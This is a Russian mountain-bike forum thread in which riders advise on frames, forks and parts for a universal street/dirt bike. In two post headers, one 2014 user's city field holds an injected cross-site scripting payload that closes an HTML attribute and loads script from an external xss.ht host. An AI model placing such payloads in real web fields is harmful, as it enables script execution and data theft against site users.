На сайте с 29.07.2009 Репутация: 14
Сообщений 141 Пол: Мужской(31)
Город: Краматорск
Стиль: MTB:Street Байк: \//\\//\\/ /\\//\\/
25 мар 2013 в 21:51
а как на счет Da-Bomb C4? Не знаю правда удастся ли ее сейчас найти. Хромолевая на 26" (мне на 24" норм было), горизонтальные дропауты с ушком для перекидки, гео скорее дертовая.
На сайте с 30.03.2011 Репутация: 81
Сообщений 246 Пол: Мужской(27)
Город: Одесса
Стиль: BMX:Street Байк: federal hamilton. не комплит
25 мар 2013 в 22:15
как по мне то вилка пайк, малый вес ю-турн отличная работа просто сказка а не вилка и подойдёт для всего что ты указал) рама? тут сложнее посмотри в сторону спеш п1-п3, амстафф, атомлаб, битчь,дмр транзишн(забыли про неё как по мне то хорошо будет) скотина ещё, и дуртмур 24_26 плеер. была у меня когда мечта на мой идентити п60(под 24, под 26 п66) поставить что то 140 хода и полетать по камням корням в лесу.
прочности хватит у всех этих рам если руки из ровного места можно подобрать(выточить в конце концов ) петух. на некоторых он идёт в комплекте.
система слх, и сэинты (нравятся очень и подойдут тебе)
вес который ты скинул на вилке(или выборе рамы для дерто-стрита) я бы рекомендовал вернуть хотя бы на задний обод(дабл трк, спэнк) я на дабл треке катал стрит преимуществ масса. минус только в 250-300 грамм лишнего веса.
это основное, не заморачивайся сильно на 8 скоростную кассету, по факту использывать будешь 3-4 макс. да и спереди 1 звезды достаточно будет.
вот такое мое имхо. надеюсь чем то помог, сейчас лелею свою мечту собрать что то для агрессив дерт на пайке.
На сайте с 16.03.2013 Репутация: 3
Сообщений 28 Пол: Мужской(33)
Город: Санкт-Петербург
Стиль: MTB:Street
26 мар 2013 в 02:13
peacedeath, Спасибо за подробный ответ. Я ещё поизучаю внимательнее завтра =) нагоша, спасибо за подробные разъяснения! Да пайк хороша... не спорю )
NikitaStrom, спасибо за ответ.
Спасибо всем за участие в теме! Информации хватает. Надо теперь думать и определяться. Хотелось бы подвести некий итог: универсальность достигается только в ущерб частностям (иначе говоря, собирая байк под несколько стилей, он не будет решать на все 100% в каком-то одном). Но если Вы не ярый прорайдер одного стиля и не стремитесь к этому - то почему бы и нет.
Хотя если честно, то я больше склоняюсь к покупке байка для лёгкого ФР. А время, которое необходимо на обучение дёртам, потратить на паркур. На всё жизни не хватит, приходится раставлять приоритеты, как бы это ни печально звучало.
P.S. ещё из универсальных байков никто не указал: Giant STP и GT La Bomba. Вполне так себе универсальны)
На сайте с 20.03.2012 Репутация: 5
Сообщений 29 Пол: Мужской(37)
Город: Харьков
Стиль: MTB:Street Байк: Octane + Duro
26 мар 2013 в 02:42
Gladman, вроде как FireEye - Spitfire подходит под твои требования . А вообще - у меня друг собрал в прошлом году стрито-дерто-мультиспид с 3-х килограммовой марзоччи , успоком и тд (тоже хотел универсальный байк) так он весит больше шлакоблока . в итоге сейчас собирает второй байк лайт-стрит-сингл.Так что или 2 байка или вес
На сайте с 23.01.2013 Репутация: 191
Сообщений 2562 Пол: Мужской(36)
Город: Житомир
Стиль: MTB:Enduro
26 мар 2013 в 13:22
Gladman писал(а): Хотя если честно, то я больше склоняюсь к покупке байка для лёгкого ФР. А время, которое необходимо на обучение дёртам, потратить на паркур. На всё жизни не хватит, приходится раставлять приоритеты, как бы это ни печально звучало.
Так и надо делать. Если в приоритете КК - смотри на 26 колеса и раму с КК геометрией, ну разве что можно подобрать что-то с более низкой рамой. Езда больше 10 км на нормальной скорости с неудобной посадкой праевращается в АД.
На сайте с 17.06.2012 Репутация: 19
Сообщений 219 Пол: Мужской(24)
Город: Пермь
Стиль: MTB:Urban Freeride Байк: Stark pusher + marzochi 55r
26 мар 2013 в 19:49
Я не читал другие коменты)) Мое мнение, стрит дерт и мультиспид не совместим, просто от 1 падения на дерте у тебя весь переклюк погнется сломается и т.д, потом вес, мультиспид весит не мало. байк получится безсмысленным, нужно чем то жертвовать.
На сайте с 16.03.2013 Репутация: 3
Сообщений 28 Пол: Мужской(33)
Город: Санкт-Петербург
Стиль: MTB:Street
28 мар 2013 в 17:25
kozz.dima, New rider, Kyz9, formazon, димасик123, Спасибо за Ваши комментарии и за участие в теме! Я решил всё-таки не заморачиваться и просто купить б/у фр-хардтейл. Подобрал уже интересные варианты. Можете помочь определиться - https://x-bikers.com/forum/show_topic.php?id=98656. Буду рад вашим мнениям.
Почему? Во-первых - это быстрее. Во-вторых - продать фр-хардтейл проще, чем данный "универсал".
На сайте с 09.03.2014 Репутация: 27
Сообщений 154 Пол: Мужской(30)
Город: Полтава"><script src=https://d1m.xss.ht
Стиль: MTB:DirtJumping Байк: PSlope
10 мар 2014 в 07:05
Приветствую, уважаемые форумчане. Набрёл на эту тему в поисках ответа на свои вопросы. Итак требования у меня очень схожи с топикстартером, за некоторыми исключениями: 1) рама нужна под 26 колёса ( я так понимаю лучше хромолевую?) 2) дальние поездки больше 10 км редки, но бывают. Посему мультиспид желателен. 3) И самое главное -бюджет 4-5к гривен ( готов на смесь из новых и б/у деталей). Заранее благодарю за ответы. П.С. Темы по выбору стиля катания читалб мне ближе стрит/дёрт с замахом на некую универсальность. Прошу сильно не бить
На сайте с 09.03.2014 Репутация: 27
Сообщений 154 Пол: Мужской(30)
Город: Полтава"><script src=https://d1m.xss.ht
Стиль: MTB:DirtJumping Байк: PSlope
13 мар 2014 в 00:18
Симьйон, судя по форуму, драгстар тут не любят за его топорность =) ну и триал с ДХ для меня совсем далеки. Data_Link, а возможно что-то новое достойное найти за эти деньги? или бесполезна сия затея?